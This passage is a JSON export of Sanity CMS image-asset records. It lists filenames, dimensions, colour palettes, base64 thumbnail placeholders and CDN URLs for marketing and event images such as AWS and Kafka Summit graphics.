C4lGbwEC0gRTfRwzVsPlKWL0qbe4NDI4NhGM6GXtbFtE9hdN7nTbnNezeeSLxIlJMxSKuoLctorevNrMxu0s4OrfpCO40QWZ3AdPfpBxrGJxFhCMtMkd1Mi2G87SYJzlmmkLXPo1FvI1FXED/L2zr/7BNLq25elueVusyOusSrbZVjK4SfwBRCYpHGGMmYwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f346d","foreground":"#fff","population":1.57,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142170","foreground":"#fff","population":10.91,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d3d0df","foreground":"#000","population":13.22,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3d0df","foreground":"#000","population":13.22,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a81c4","foreground":"#fff","population":0.69,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#70708f","foreground":"#fff","population":3.7,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b77d52","foreground":"#fff","population":1.36,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Helthjem1.png","path":"images/sczeoy4w/production/8dbfcaf69798941db9b92513aa8480d8aa04b166-1200x628.png","sha1hash":"8dbfcaf69798941db9b92513aa8480d8aa04b166","size":298576,"uploadId":"YAhV5tR7kcMPJE8b7Kb3aEcqkTQWog27","url":"https://cdn.sanity.io/images/sczeoy4w/production/8dbfcaf69798941db9b92513aa8480d8aa04b166-1200x628.png"} {"_createdAt":"2024-04-18T22:05:47Z","_id":"image-02ea0e1dcac35a0021f4deb2abd8f27fc20d05cd-1200x630-png","_rev":"mUxvYIx9QjgWU0HQCJoMl9","_type":"sanity.imageAsset","_updatedAt":"2024-04-18T22:05:47Z","assetId":"02ea0e1dcac35a0021f4deb2abd8f27fc20d05cd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBBMKC0],oOw:|W*O^}i0-xu%2R4JW$i$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAC/0lEQVQokUXRW0+bBQCA4f4FdRmUrgf69XwuZe1X+Ao9UsaGOIoMSitjbSnruSuyZpTDXGFl6HSZmYeEG2MwkBBBdGpM9MKoMfFiXswboyYmXvsTXpOZ6B94bh7ZGcUM3eo5erRpFMJV5L3X6FJn6dbkkWtLKHQ1FPplzhlvojK10Nq3sfjexx08Rho5Zml6l49qGZ5uTfD3gxiyLnUSsytP/2ANz2AdS18Fna2EYKuitzcwOpuY+loY3evoHBtorG0MfY+wS0eIkWPmX7rPe/k837US/NEZRdajTeEN1Ii/uMbIpXWGYqsMxdYZHrlNIHaH4fhdQhfuERjZxSN1EBxbCK6H2AYO8AQ/Zjz+kI1klf1SmpMbSWTdmjmc3iKD4WUGQiv4Q83/QCn6GlJ0CynawR/ZwSluo7W30bsf4Ars0x88JDL0FpULZbamMjQmqv+D/mADcXgZf7DJYKSFFN1gIHwbj7SJU9zEen4TwbaOxnoHu/g2UvyA2NgBC9FNdiIJdiKTFAL5f0HH+QK+QB23WMXhreMSl3H7mzh9t9A7bqI2r6A0NVEYVp+liOE9RhOnzMyesD25wumoyGFEpDM8geysahaTcxGXr4zZXUCwXkewldDbawi2BkpDHZW+hsFSx2x7FUf/XUIX90m88jXzmW9oXXmdD8cu8UEsxlpwHtnz8mmUQhqdJYPWkkNtWkRrKT5b1pjrqA1VvO4CyWiWpYtZUuNrTM0cks7/wLXiT8zNfsLV+JssRO8xHnoX2XNnJ1EpphB0KXpNGVSGHAZ7AbOzglJfRq0rMS5leSN9haPKZfYqZRrFQ5bqP3O98ZTLqW/xxx7jDT/GE/4c2ZmuSQRlArMxjd66iMaYw2TLY3UWUOqLqHRlJoZy7C0meLI5yvftHLurRzRav3Kj9TvTCz/iG/kSd+gL3MHPkL0gf5nuc9P0aJL0aOeR9y6g0GZQ6vIohBJKfY2QWORRdobfOnF+uZ/jnfYprfaf3Gr/RWrpCdLYV3jCn9IXPOEfPeC2Rt1GXo4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4278","foreground":"#fff","population":1.87,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041481","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c4278","foreground":"#fff","population":1.87,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5aad4","foreground":"#000","population":1.54,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f89e43","foreground":"#000","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5cae","foreground":"#fff","population":0.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e04d11","foreground":"#fff","population":1.23,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AWS Los Angeles Web.png","path":"images/sczeoy4w/production/02ea0e1dcac35a0021f4deb2abd8f27fc20d05cd-1200x630.png","sha1hash":"02ea0e1dcac35a0021f4deb2abd8f27fc20d05cd","size":256508,"uploadId":"Df6TnEjt0M7Tqlybc8SPUM1I9tinOVCQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/02ea0e1dcac35a0021f4deb2abd8f27fc20d05cd-1200x630.png"} {"_createdAt":"2024-01-29T11:11:37Z","_id":"image-63fac39ee234dae37428365ed54cbada6b8dcbfc-1200x628-png","_rev":"lhvtNBOlLYH5KiQFQ890zb","_type":"sanity.imageAsset","_updatedAt":"2024-01-29T11:11:37Z","assetId":"63fac39ee234dae37428365ed54cbada6b8dcbfc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7C6NR00^A^C06Ox$uPDU]PB00bdt1xJtP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACtUlEQVQokUWSW0+SAQCG+QVdeECFIBUUFc3kExFEETQTvzAOHvLYwUxJwTMCHuCjQrFZ4kqt1kVmVlvrsLVaF211Weuiq7ppXtXveFq11R949rx7XllGrg+1to+SyovohTH0QhC9MEXx0SnUugkUmklyC6fJLZwlTxtFWxqmv36Apz2VfBgxsBlcYTryhd7RT9Q49pHJVaepqPZjOz6PvTWKxR6h1halzrFMXVMCgyVGgX4eZVEIRVEUXdk8Z+197PUbeXPJxk50h9jKAf7QNxztL5HJ1b0YzAFOuJZwuuM0izGaxQRO9yqujnVaT61jcSSpMEnkly2jKY3gsY+SGvSyMTxAIvSE+NoPJha/c6LjNbJsVQ/HTOM0ty3Q4lqmxRXH6b6K6E3R3nkdd/cmp7pv0tK+gWBNUVIVo7VpgvjQMNLIJNMzz1lM/fwPlKt6qLFO4vJJtHkknO7LtHmS/wzbu9KIvjSt7jRN4iZ2Z4r+njA3QrOkIzEWIs9ZSh4wPv/17+TfhkbrJCd9EqI3QZvnP1D0XqNJXEOwJig3Sphsq/QOXCcp3WB/5xaP0lvcXtxhe3aX8PldbPa7yDIVXRTrhxDMQUwNM5jtYcyNUWoaFqi2LlFhXORI6e8gIarNMWbHUjzY2ubVs2e83X/E+0iAj30O7oidOGtjyDJyvBSoOikpOYOuYoSC0hGUmovkFY6i0Iz/uU1OwRR52jnqbUtELsW5lUzxcO8JL+4/5l1wkM+uYu7ZGzlpDCPLlHvQHvZSphugqHwYhWaIDOVZMpQXyFL5kR8J/AEqtHMYTVFOu6Oc6YsTmNomNLGF5Paz3ugiYDmHRbiC7FC2l8wcH3JlN3J1P1mHB8lUniNLNUy22k9OfvCvoWaOwrIw+mML6AWJKssaRvM16gQJm2EZo2EFXWWaX5KzmNDjDDkAAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e456f","foreground":"#fff","population":1.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04247c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dadeea","foreground":"#000","population":6.92,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dadeea","foreground":"#000","population":6.92,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8089e8","foreground":"#fff","population":6.78,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab7569","foreground":"#fff","population":0.76,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d9651a","foreground":"#fff","population":3.27,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Workshop-MediaRecommender-Tibs 1200x628.png","path":"images/sczeoy4w/production/63fac39ee234dae37428365ed54cbada6b8dcbfc-1200x628.png","sha1hash":"63fac39ee234dae37428365ed54cbada6b8dcbfc","size":318613,"uploadId":"snV0KKE6YxBUItNNj1tz0jDsVCWsVp4N","url":"https://cdn.sanity.io/images/sczeoy4w/production/63fac39ee234dae37428365ed54cbada6b8dcbfc-1200x628.png"} {"_createdAt":"2024-01-30T14:17:58Z","_id":"image-d909e70e23389c4b503515ff391d126b538fd902-715x116-png","_rev":"ZLvKaZvfbZlWBlGcpLR2nw","_type":"sanity.imageAsset","_updatedAt":"2024-01-30T14:17:58Z","assetId":"d909e70e23389c4b503515ff391d126b538fd902","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"403ucoxuWBIo%M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":6.163793103448276,"height":116,"width":715},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAArElEQVQImS3MsSrFARiH4VPicCQDk/S9v743i2NQJMPhCkwGnXANSrkGk8EdGFiU3WZRNvekv8781DOysi25ltxJDiRLkjXJeRdvDT+ST8mvlXfJmWQiWbGyLNlpOBGmkvXRIrmU3EqOJZsDNJl18dLkq4sPybfwamU2uJWxZNyVXcmpxaFkawivJHMrN8KFxEU4bXLfxZPkUfJs8WBlX7I6ZJINSUuO5D/c+wMthyd5PHWPPAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#241e24","foreground":"#fff","population":11.6,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#483c48","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#241e24","foreground":"#fff","population":11.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#534553","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c2b6c2","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#534553","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8b738b","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-aiven-kafka-summit-london.png","path":"images/sczeoy4w/production/d909e70e23389c4b503515ff391d126b538fd902-715x116.png","sha1hash":"d909e70e23389c4b503515ff391d126b538fd902","size":18284,"uploadId":"Glu57dg5ArrseWXiqFHg0ckuDeaQkeir","url":"https://cdn.sanity.io/images/sczeoy4w/production/d909e70e23389c4b503515ff391d126b538fd902-715x116.png"} {"_createdAt":"2024-02-06T08:54:25Z","_id":"image-9f08ed7cea23c6adbc036d87118bbac6cb4e9ee3-512x512-png","_rev":"8mGThtWzkZE49nEaO9tsK4","_type":"sanity.imageAsset","_updatedAt":"2024-02-06T08:54:25Z","assetId":"9f08ed7cea23c6adbc036d87118bbac6cb4e9ee3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eeMs_^%M?^R*r=-;f7oyofRj9ZWBMxt6of%gj[%1ayIoIVWBV@ofR+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEd0lEQVQ4jT3P6VdSCRjH8fsXlZjWaYrKzmlD0zQVgcxcM0tz30BFTcINm1wOTDEqLqm55ZKlKKkocDe2C/eyXOBuLDrzauYPmAN15pzv28/zOw/gdqEuF4phCOaEMQeMOUAUNW5tfu7uai8tftIpbV5bmbeY9lH4BwIZIPAAsuxDFj1o1ltMewDutuNua/wEhrgxxGGz7Gwt93a25Gel37t5Lf/hfWn9yxnt+JHhKwIfwvAhDBpg8AAGDyCzHvB6MA/hIHBbIuvp8f64qq+lXNJWlCsrzusszpWX5PXVVcxOTphNBpvVhCInKHKMwocIZAACJEH6cL8XI30Y4bZurHxSddQvK1utM++w+fe2yYH9weaJ2qJ38qa9b+tOB+h0gA67xW47tVlPACrkDwW9wQBBBz0uBzT/cWyqtwlfmvj3ZP2fo9W/dnQ+3dCXzqqh2pIlndphMxM46nbBLgzGnBDAMkGGDtAUydGkHTHpxgZWh6SBL9q/fyyf6xeZtY+opm9F+lxZIdSo3qDQEelz+Airl7B6cBSIcFSYDXFsKMyGUNCoHembe9OoH+s5VCusk8On473TzRWKZ49aRenDXU3m470Q6Qr4naTP7vfagGiYjnuOinCUHTqZH1XO9NRNy17q2qsMI9LvbxvfV4rkkocdIsFww/Oj7WWKdNFBPERiQdKRwImiHO23gcfzauMHpUmjsKgV2OSgaUS61fVqTfZCWyPRNFYcbyzQpJulvXQIp4JuIBphohEmjsM048Xw78ueFU1keyq8qXVNq3b7GnZ7Xx8NNS+0lOrkdfDBNkt5OdrHUl4m5AHOIvRZwkcjTJgiiePv6KdxfGHUPjmw09eorhJPVOZP1z8dry1aGu/HbWaOIVna/9MD51HmPMLEEkXDNIGa96ZHNwZathX1a7JX6ucFb0QP2oV3FbWl+s3PVMDDMQGW9nGJgPMYex5lziJMLMzEIixFEvrVWY2sek5WtdldO11b1C0SVGamDXY0oaAxzAZZhvwpOdoPnP3E0V/jMY6ynx5o37b3V0lUVeKeoqxyAb8449aHwW7CiUS4EBfH/l/LZzH2/2IRhqVIH2rU635XNZS+Fgqe3ufnp6XW5NzWKdugH98CPnccx9/2sQnMnZ9xsShDU6QVAXc2Vw0rU84N7cGfyon2F9JnOa1iwWDZI21Tifat7PP8FGgxBvw4S/vjOBZlQ0EvaDEuLsx2yzsqy54NS1/b1v6g9ueQxdHdMfnmQPN6b/XHusIaYXphweMOWdvSwiwCnQZJN3B6cjQ3O9XW2pSXm5N260bajWtl4py5EbltQ0tsTWIrGmhmZFvVrnwpyb7Dv5zC41+/KhblKRU9X1YXgfq6mrzcbP7131JTkm/yrz3KTJcIc6rLCvvbarSKNl2/VC1v6KouLi3IzhTc5V+/msy7mJrCu3fn9tMnIuDK5ZRLyUm8pAtXLqdkZgjKS4oqy4sLxcLcrIy8rPSC7AxhdoYwJ1MifCwuyE1/cPdK6iVe0oVk3sVk3sX/AOniExaSZEoTAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#47352c","foreground":"#fff","population":1.93,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#200804","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e7b8a3","foreground":"#000","population":8.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dac8b9","foreground":"#000","population":5.19,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e7b8a3","foreground":"#000","population":8.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e6f59","foreground":"#fff","population":2.55,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e2381c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Elad Leev - Dojo.png","path":"images/sczeoy4w/production/9f08ed7cea23c6adbc036d87118bbac6cb4e9ee3-512x512.png","sha1hash":"9f08ed7cea23c6adbc036d87118bbac6cb4e9ee3","size":333838,"uploadId":"4PuzC0DHo7e53bqVnZCRyMJXH47Mbv9P","url":"https://cdn.sanity.io/images/sczeoy4w/production/9f08ed7cea23c6adbc036d87118bbac6cb4e9ee3-512x512.png"} {"_createdAt":"2024-02-22T20:55:24Z","_id":"image-a504ec49dbb155855d25fa7b422728ed1032cfe1-2400x811-png","_rev":"ie5WJlLr1SLUBaBgCvegSy","_type":"sanity.imageAsset","_updatedAt":"2024-02-22T20:55:24Z","assetId":"a504ec49dbb155855d25fa7b422728ed1032cfe1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DgGR10J@A1CA,8kXkGkYf4jJ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.9593094944512948,"height":811,"width":2400},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAACP0lEQVQokR3QXUhTYRyA8b8fJaEikSSYZjFhlF5UO0cindv7nh2XpeLUHG3oRG06dWUuIjH8aO8m+ZVSXiiBeKGJ2YzlzZBdhgR5023SxVicuQ2nvmduZnViXTy3v4sHEKHpiFAlItSKCe1FDlGNHNFMkCTYqO9LkiSAvwLAn81kkA4AYPIL6JEEzLI+W7FSzzLv6gpq5mqSVYs6kCAVABFahAhtxITWIofIa8jBzRfdq5f8/K3CXczK9zrkucefzlz+7U258t1dnN80uZ2P7LGi0jcuXLbQaex13uF+VJYU76uYi36eTUuAHCLUyJHDEpUzVlY9LJimzfOtO1pNS5i/boo8LGyOr2a0nHhTm7ddKpN1ZtOESbRdOfX1ec3MwNhiFzf4k2eehhFTF+DYnASoQIQaOHJYWe6M1+qGfP2z7bMjO1r+UbjiWnfksWwkvpzZ/8t7qnNrTTtke+0e5Ai1Kie/jenHR96ut6J5QcNMhRHbFODYCwnwbOIhJlSvdkQN1cNCw0LLyyq/plQf4hXGiLVQH3+fYTjxphi21iqaH7z6bMFEHCgf2xnXTUw/c7Vhi6BhLCHEVgQ49lwCTEKEZmFCZcghynn7fo77/pOsIFYU7GJWtmeWn49tpOdJXpCtL3XI7o4KWkTEPvVosIuf8DArZi5P0DCyEGZzAxx7OgH+T+k8Bt4eAU9jD8y1TUOgigEfq4a4PRvggwTQIIGKHKUhIl5FRLyNiXhD7ThKt9k+gudeD/h4JQQxA/8AXgv70vAUrYoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#354e6a","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f3492","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f4bb0b","foreground":"#000","population":2.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b49c8c","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c9cfc","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c9c5c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4bb0b","foreground":"#000","population":2.79,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"google-logo-transparent.png","path":"images/sczeoy4w/production/a504ec49dbb155855d25fa7b422728ed1032cfe1-2400x811.png","sha1hash":"a504ec49dbb155855d25fa7b422728ed1032cfe1","size":31847,"uploadId":"yqY3OGRzgKFq7cXApsEUV8GS0N39mVkW","url":"https://cdn.sanity.io/images/sczeoy4w/production/a504ec49dbb155855d25fa7b422728ed1032cfe1-2400x811.png"} {"_createdAt":"2024-06-07T14:40:25Z","_id":"image-7c77e19111d5c31caa5b33a0ebbe2380799c4fff-1198x668-png","_rev":"xsD01XOCJj97gYpL0yLaN5","_type":"sanity.imageAsset","_updatedAt":"2024-06-07T14:40:25Z","assetId":"7c77e19111d5c31caa5b33a0ebbe2380799c4fff","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MTMQYm.Tx]D%-VyERjR+s:sm.TR4jEt8Nd","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7934131736526946,"height":668,"width":1198},"exif":{"PixelXDimension":1198,"PixelYDimension":668,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAAC50lEQVQokSWP7W9TdRTH7/+iMb4kcYYYnwZEo4lkROMLg0sUDWRTogj6Rha3MEKGIaAwp8wNip1LycpQyNZ2W9fnh3vv797b29729va5ozDX7jG+/5jWF598Tr7n5OQcycwfIGsdUupWz4q+TVq0e7XI7KJn9zFyB/9j7qMZO6SVf4ilWiTkzd5Mt5exDsjm/0XSzV0iiScEIw0iiRax9DPCiRaR5FOSahvV2EVk9hBqByXeIrLi8NdDjXlPnPtemZW1ErJoY5h7mNY+kpHbJyXaJJQtUqJDWtvuuYus76CqbcR6Bd2rEHWF8Py2jGs2wNyfYf5wr+NxBQk9EBiROtlMB6l7qtJ9Q9vuLei6SzdTjT3UWAvjXhBr9BaBr8a5du4qP924z7wnyp07fiZHpnl8YQrz9gr5ZANJGDsEow38a2X8wTL+tRK+1RLBSI2UvIWIPcP2xmlMXCf6+RC3Pvmayasu5ubDTE0uMvHZGIsD57EuzmKv5ZFkrc1SwGZhUeDtobLwQObRY51wqIoS26IcL7Ex7yZ69gy/D57m9pUZ7rpWuHJphm+PD3H32CmM736mGNCQNKNDKFzF57fw+XL4fVl8yxlWAybR9TKxpTrxe0H+Hv2B0YETDPaf4MvTI3x/cZKPT17g6KF3OHv4PZbOX8L2xZGyuR00sYmQnyDkDTS5iZZuoMs1tGSTgLvAzeFZPj1ykpdefJPnn+un7+X3OXpkkFf6jnPohdcY6Hub6W9GyPnCSPlsG1PdwEjXMZUGOdHE0poUtDqWUicwZzN26iEDr47wet8w/YeHefeNL/jg2BAfvXWmx9CH53D9OI0VVpEKxlPMuIMayaMnHSxRpaDVsLUKtqigrJbwTpn8Mhbm5qifX8eXmRlfxHXZg3tiAfe1R3in/SSXkjhKAamY3cRSKmRSDlm1im00cDJNnEzXdRy9RkGuYSWqWIkK+XgRK2yQDwkK0SyFhE0xXaQsHCpGlf8ApNeyhbIYNwUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d2b39","foreground":"#fff","population":0.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f2c22","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c9a6c9","foreground":"#000","population":0.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9a6c9","foreground":"#000","population":0.73,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ccccfc","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c7c8c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5a30df","foreground":"#fff","population":0.71,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Screenshot 2024-06-07 at 17.40.12.png","path":"images/sczeoy4w/production/7c77e19111d5c31caa5b33a0ebbe2380799c4fff-1198x668.png","sha1hash":"7c77e19111d5c31caa5b33a0ebbe2380799c4fff","size":576177,"uploadId":"ZHXgXdguHJdNVjQGSsm4rXcKYCEiEPW6","url":"https://cdn.sanity.io/images/sczeoy4w/production/7c77e19111d5c31caa5b33a0ebbe2380799c4fff-1198x668.png"} {"_createdAt":"2024-02-06T14:37:44Z","_id":"image-ded3a5e11fa05c2b06de1917abbcd0590f11f0f5-417x417-png","_rev":"MkmgsAGxwT6Nx7jjOk6Rn2","_type":"sanity.imageAsset","_updatedAt":"2024-02-06T14:37:44Z","assetId":"ded3a5e11fa05c2b06de1917abbcd0590f11f0f5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eFKaZSxEvA$P1v%sbG5BS3],10WW5-SM#:E6jatNoKJ8VxazK1S3}W","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":417,"width":417},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABcRAAAXEQHKJvM/AAAEDklEQVQ4jU1UW4hVZRT+Z8Zb43jZe8YzzjRzhrMWmpd6GYOMKIQICcog/89LXgopCo10ejBQo4sUBEUPIYIPSRGlYYkaalJqnWOo0UMU0kP00AUMjNbnHOecvUed+vfZZ8YNi7323v//7e/7/rWWc/mVlKNGVMI9zvK0ErukGeE5/569z9enlTiL8YtenXl1hLjqy33usht09WNdAXRyWolmJeU4TsrxzKQcZ3laiWYk5XhSbX+3u1Ja5Ko7+509rs4gzrw4R0wAXt084EZ/nenSc1EA60orUV9SjvvSSjSQVqJinoeI0nNR2/XLHW54azHbm+EgBwwvbKU6PlVyw9uKLvkm7gibk3LcmVai9qQcRznbkBeSctybnI1vGxtz7t+H5mWEAruAlUuWVkJmm9c7CFky/GJxSe3D7gXJ6bijfqTLJWfilvqJTjd6aZZLTnVGI/vmLr66ZeBu8zpIiBIyw6AtTclthAghmwjZZ14/4MbS0LW3epcmX3XOSU52tt0YbndjY1MD8OT68a7e6qt9y7hOdpjXjwh5j5DVhN4eQAPdXkK3EnKRkH/M61mukfXX3u3R9FzUl56PZqUXo9b0QjQpPR9Fybdxf/W1vgVcJVvM6w+EXCHkNKFPEhoFyY/Q6wnzmhJSNa/vE7K4fnjOtNrBQn/tYGFe/XhXd/1oV0/tQGF+/dCcnpG9c6ea16WEHCEkpdeqQT826D3OoC8ReomQMfM6TMhn5nVF8JIbSyuGh4qP1fZ33zWyp2fw6vMDK7m+9DAhg+Z1LSFfm9ck7CX0AqFPBA93mtdfCB0jZNS8/knIl+b1c0KOca1sr+7ql+Gh4p1cLW+Y1y8IOUTIGfP6NyE36OUmod8TuiEAeno9Q+ioNUBv5n+tm9efzOuzXCUzCCmY1x2E/EZIklt0MxAxaI0IBPT+4GGJ0F3m9WdCRwi5Hnwxr38QsjeX12pepxCyjJBPcmajgQQRbApyZQuhhXDKk0M9GXQnoYeJjO1RQnab1/sImX7t7V7HDSWX1+pyQt4xyIl87aeEbiN0PqGtQXILIQvp9WlCtxP6DKEPGmTAvEwNxdrs0zzaCZ1HL48SOmQINigI7WZe2C1BO7Ny0ZPm5RVCF2btmLVlozXHh0jW9zqNkOVEtueU+UxdsQkYGCyi1z3m9S/z2fGvIXR6A6wRTfDAltABQt8k5Hd6/ZHQ50JR562XyQibl4dWMuh5QncTqhNyG4B5TAmWEHKA0O8IfZ1eFjZaWN24N/Q607zcS+hmQjcFkw3S2pTaGHGZ5ODhA+blBULX0Qc/dUpTwfjYyaVMyqhDCwZpN0jLOOCE/DbzOtu8FAjpCAOh8aN8fN06y8bZ5qfaWDTxrZnnB9Ow4NY1/wP+B3IptNbqfAmCAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#643c39","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#921907","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5024","foreground":"#fff","population":1.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b47d6e","foreground":"#fff","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5024","foreground":"#fff","population":1.64,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a56458","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eb520b","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"icon-people-openness.png","path":"images/sczeoy4w/production/ded3a5e11fa05c2b06de1917abbcd0590f11f0f5-417x417.png","sha1hash":"ded3a5e11fa05c2b06de1917abbcd0590f11f0f5","size":10989,"uploadId":"Yu9Hybu2W6X0mE7hQ8WuSAPXHROUlsLC","url":"https://cdn.sanity.io/images/sczeoy4w/production/ded3a5e11fa05c2b06de1917abbcd0590f11f0f5-417x417.png"} 